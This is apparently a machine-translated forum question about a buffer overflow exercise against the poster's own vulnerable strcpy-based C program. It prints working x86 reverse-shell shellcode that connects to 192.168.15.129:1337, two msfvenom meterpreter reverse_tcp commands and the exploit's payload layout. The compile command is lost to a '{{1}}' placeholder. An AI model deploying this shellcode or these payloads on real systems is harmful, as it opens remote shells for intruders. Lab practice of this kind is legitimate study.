我正在使用这个shellcode:
\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\xc0\xa8\x0f\x81\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
来自http://shell-storm.org/shellcode/files/shellcode-883.php
当我执行.c程序时,它工作,它接收连接,我可以毫无问题地执行命令。
问题是从缓冲区溢出中注入它时,来自gdb
:我收到连接(这意味着shellcode,offset和EIP都没问题)我正在使用正确的IP和PORT,但是正确离开,它只是崩溃。
我尝试过使用其他shellcode:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00' -f c
和
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00\xff\x09\x0a' -e x86/shikata_ga_nai -f c
我收到的连接很好,但是......马上就崩溃了,无法执行命令。
提到这是我的.c易受攻击的代码:
#include <string.h>
#include <stdio.h>
void func(char *arg){
char nombre[90];
strcpy(nombre,arg);
printf ("\nBienvenido a Linux Exploiting %s\n\n", nombre);
}
int main (int argc, char *argv[]){
if (argc != 2){
printf ("Uso %s Nombre\n", argv[0]);
exit(0);
}
func(argv[1]);
printf("Fin del programa\n");
return 0;
}
我注入:Shellcode +(102-74(或-98与metasploit有效载荷))x&#34; A&#34; + RET(我通过在strcpy
之后设置一个中断来获得地址,然后获得缓冲区的确切位置并且我知道它有效,因为正如我所说,我收到了连接(如果我在任何地方改变一个字节,我不会#39;什么都没收到。)
我正在编译:{{1}}